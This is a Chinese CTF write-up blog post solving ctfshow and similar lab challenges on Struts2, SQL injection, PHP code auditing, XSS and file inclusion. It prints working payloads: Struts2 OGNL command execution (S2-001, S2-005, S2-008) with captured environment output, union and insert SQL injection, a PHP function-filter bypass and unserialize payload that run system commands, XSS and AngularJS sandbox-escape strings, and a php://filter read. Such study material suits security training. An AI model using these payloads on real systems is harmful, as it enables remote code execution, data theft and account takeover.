ctfshow刷题 [struts2]

目录

一、Web279-S2-001

二、Web280--S2-005

三、Web281--s2-008

四、Web301-代码审计

五、Web302-代码审计

六、Web303-代码审计

​七:网鼎杯:朱雀组开启靶机

八、Xss

九、Web78 文件包含


一、Web279-S2-001

 

题目分析:

如题s2-001是一个struts2命令执行漏洞编号
一、判断网站是否基于Struts2的方法
1、通过网页后缀来判断,如.do .action
2、判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true
二、漏洞原理:


struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据


测试提交加法表达式%{1+1}成功执行


三、OGNL表达式中三个符号 %,#,$ 的含义

%的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值

#的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用,$主要是在Struts 2配置文件中,引用OGNL表达式

四、构造pyload:
/ 获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

// 获取web路径

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

// 命令执行 env,flag就在其中

password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=1

显示语句

————————————————

二、Web280--S2-005

如题:S2-005


漏洞原理:


先看S2-003,Struts2将HTTP的每个参数名解析为ognl语句执行,而ognl表达式是通过#来访问struts的对象,Struts2框架虽然过滤了#来进行过滤,但是可以通过unicode编码(u0023)或8进制(43)绕过了安全限制,达到代码执行的效果

再看S2-005

S2-005和S2-003的原理是类似的,因为官方在修补S2-003不全面,导致用户可以绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成的漏洞,可以说是升级版的S2-005是升级版的S2-003
影响版本:Struts 2.0.0 - Struts 2.1.8.1
打不了,要用工具

Message /S2-005/example/HelloWorld.ac%3f%27%2B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29%2B%27%20tion

三、Web281--s2-008

打开环境

 

执行任意代码poc:

 


' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /proc/self/environ').getInputStream())) + '

执行在age框内回显:

LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-lib�CATALINA_HOME=/usr/local/tomcat�LANG=C.UTF-8�HOSTNAME=a16ecdc45a95�OPENSSL_VERSION=1.1.0f-3�TOMCAT_VERSION=8.5.20�GPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 61B832AC2F1C5A90F0F9B00A1C506407564C17A3 713DA88BE50911535FE716F5208B0AB1D63011C7 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23�JAVA_HOME=/docker-java-home/jre�TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-lib�TOMCAT_ASC_URL=https://www.apache.org/dist/tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gz.asc�JAVA_VERSION=8u141�TOMCAT_TGZ_URL=https://www.apache.org/dyn/closer.cgi?action=download&filename=tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gz�PWD=/usr/local/tomcat/webapps�HOME=/root�TOMCAT_TGZ_FALLBACK_URL=https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gz�CA_CERTIFICATES_JAVA_VERSION=20170531+nmu1�TOMCAT_MAJOR=8�JAVA_DEBIAN_VERSION=8u141-b15-1~deb9u1�FLAG=ctfshow{8b021a84-b196-4292-b6d7-3a0a12d5f4e0}�SHLVL=0�TOMCAT_ASC_FALLBACK_URL=https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gz.asc�PATH=/usr/local/tomcat/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin�

Flag:ctfshow{8b021a84-b196-4292-b6d7-3a0a12d5f4e0}


四、Web301-代码审计

1、代码审计思路:
        1、工具上Seaf搜索
        2、手工找敏感函数

解题分析:

 

2、代码分析:
看一下目录,admin目录下都是静态页面,来到assets目录
我把重点放在了checklogin.php和fun.php

 

 

Fun.php尝试全局搜索include  ,无

Checklogin
一看就感觉username有注入点,于是用sqlmap跑一下。使用burp抓包保存文件,然后sqlmap -r web301.txt,弹出的选项一路yes

 

跑出来时间盲注,但是感觉是代码审计不能光跑脚本

回到代码,在checklogin.php中没有对username做任何过滤,可以闭合它构造payload,且在第二个if中告诉我们只有通过sql语句查到的密码和我们的密码相同时才可以登录。

直接利用用户POST传入的userpwd与sql里面查出来的sds_password相等,login就可以为1了。

3、构造pyload:
直接闭合,联合查询1,这样返回的密码是1了,最后只要登录的密码也为1就可以拿到flag了。
userid = 1' union select 1#
userpwd = 1

尝试一下:


进来了

 

 

五、Web302-代码审计

1、代码分析:

如图,修改了一个地方,给密码加密了。
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
这里是在上一道题的基础上进行了sds_decode,这个sds_decode就是之前看到的fun.php。
以看到,他的返回值是md5(md5($str.md5(base64_encode(“sds”))).“sds”)
因为知道str的值是1,所以自己加密之后再用上面的payload就行了
2、伪造一下exp。

<?php
$str = 1;
echo md5(md5($str.md5(base64_encode("sds")))."sds");


最后加密得到的是d9c77c4e454869d5d8da3b4be79694d3

 

Pyload:
Userid:  ' union select 'd9c77c4e454869d5d8da3b4be79694d3';#
Passid:   1

六、Web303-代码审计


1、代码分析:
这里换源码了,其中有一个sql文件,里面写了

 

INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');

其次查看sds_decode,发现他正好也echo了sds_decode(‘admin’)的值,在传完之前的payload后,checklogin.php正好回显了admin加密后的值,也sql文件中的相等,说明账号密码就是admin/admin

在dptadd.php中可以看出每个字段值都可控,所以我们可以在随便一个地方构造,这样它就会把我们想要查的东西插入到表中,最后我们再在dpt.php查看就可以了这里给了账号admin和密文


尝试一下:


点击进入:

说明这个dptadd.php界面有注入点,无过滤的insert注入
2、构造pyload:
爆表:
dpt_name=5',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

 

字段:
dpt_name=5',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#

 

flag:
dpt_name=5',sds_address=(select flag from sds_fl9g)#


七:网鼎杯:朱雀组
开启靶机

 

进入主页

 

提示index.php有东西

 

主页抓包看看
 这里提交了两个值,一个是func 值是date  另一个是p 值是 Y-m-d h:i:s,猜想一下,如果func的值是 system ,p的值是ls /flag呢?可以先用md5来校验一下是否能够成功执行

 

方法一:in_array()函数进行绕过


 如果我们要读取flag这个文件的话,得先看看过滤了哪些函数:
这里可以利用file_get_contents获取index.php的源码
file_get_contents(path):读取path路径下文件的内容
读取到源码
 

 <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
?>


看样子过滤挺多的 ,是可以任意命令执行

in_array()函数进行绕过
直接构造payload:?func=\system&p=find / -name flag”
 1、加\是为了绕过过滤
2、system("find / -name flag"):查找所有文件名匹配flag的文件
或func=\exec&p=cat $(find / -name flag*)
 payload:?func=\system&p=cat /tmp/flagoefiu4r93     找到flag存在的路径

方法二:反序列化

然后进行cat 命令抓取flag
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

或者readfile读取flag文件
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

当然,我们也可以搞一个类似exp的payload,也可以得到flag。
func=readfile&p=/tmp/flagoefiu4r93

 

八、Xss


第一关:常规xss
后缀+?username=<script>alert('xss')</script>

 

第二关:简单闭合绕过
使用第一关的套路,直接被没有回显
http://491c2e5e-9e61-408a-b82d-6615548d150b.node4.buuoj.cn/level2?username=<script>alert('xss')</script>

 

查看源码
发现使用了js所编写的一个过滤,username被escape加密

使用';结束前面的语句,后面加上函数alert(1);使用'1闭合后面的单引号,当然你也可以使用将其注释(//)
http://65c057a6-36f6-4ed7-90b8-1c25016edfec.node4.buuoj.cn/level2?username=1';alert(1);'1


第三关:单引号转义
先测试
<script>alert(1)</script>
试试第二关的方法
';alert(1);'1
查看一下源代码,发现单引号(’)被转义

 

<script type="text/javascript">
        if(location.search == ""){
            location.search = "?username=xss"
        }
        var username = '\';alert(1);'1';
        document.getElementById('ccc').innerHTML= "Welcome " + username;
    </script>
发现多了一个反斜杠+单引号(’),那么就相当于’'构成了闭合,那么我们的构造可以为:
'';alert(1);'1

 

第四关:伪链接
一直在循环,直接查看源码

 

javascript:alert(1),浏览器会把javascript后面的内容当做代码执行,直接在当前页面执行。代码中接收jumpUrl作为跳转url,构造如下所示:

jumpUrl=javascript:alert(1)

 

第五关:getQueryVariable()函数绕过
是一个表单查询,无论在输入框中输入,任意的东西,他都会回显报错

 

http://1bbea037-ec4e-4120-bd60-16336bd00c60.node4.buuoj.cn/level5?autosubmit=1&action=JavaScript:alert(1);//

 

分析代码:
变量1

​
​
if(getQueryVariable('autosubmit') !== false){  //如果出错就会执行getQueryVariable函数
            var autoForm = document.getElementById('autoForm');
            autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
            //变量action执行getQueryVariable函数
            autoForm.submit();
        }else{
            
        }
        function getQueryVariable(variable)
        {
               var query = window.location.search.substring(1);
               var vars = query.split("&");
               for (var i=0;i<vars.length;i++) {
                       var pair = vars[i].split("=");
                       if(pair[0] == variable){return pair[1];}
               }
               return(false);
        }

​

​


变量2

getQueryVariable('autosubmit') !== false){  //如果出错就会执行getQueryVariable函数

autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');    //变量action执行getQueryVariable函数

绕过这两个变量就可以
?autosubmit=1&action=JavaScript:alert(1);//

第六关:xss模板注入(沙箱逃逸)
<script ><alert1></script>
打开源码发现链接:
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>

打开网站:https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js

F12打开是一长串段js编写的代码,怼这个URL,

测试xss模板注入,成功8*9=72,直接就给我算出了答案,说明存在xss模板注入的


8*9=72,直接就给我算出了答案,说明存在xss模板注入的

组件上发现js框架是angularjs框架


百度一下Angular(版本号v1.4.0-v1.4.9)沙箱逃逸
Angular JS客户端模板注入
payload如下所示:
http://1bbea037-ec4e-4120-bd60-16336bd00c60.node4.buuoj.cn/level6?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

 


总结:
确认了存在xss模板注入以后,我们对Angular(版本号v1.4.0-v1.4.9)沙箱逃逸
进入下一关拿到flag

 

 

九、Web78 文件包含

源码:

考察php伪协议


伪协议
php://伪协议是PHP提供的一些输 人输出流访问功能,允许访问PHP的输入输出流,标准输人输出和错误描述符,内存中、磁盘备份的临时文件流,以及可以操作其他读取和写人文件资源的过滤器。


?file=php://filter/read=convert.base64-encode/resource=flag.php
php://filter是元封装器,设计用于数据流打开时的筛选过滤应用,对本地磁盘文件
进行读写。


PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0xNiAxMDo1NToxMQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMTYgMTA6NTU6MjANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3tlNGZiZDdhNi0zMzRkLTRhNzMtOWUzNC0xZjcwNDZmZGYxZGV9Ijs=
解码得flag

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值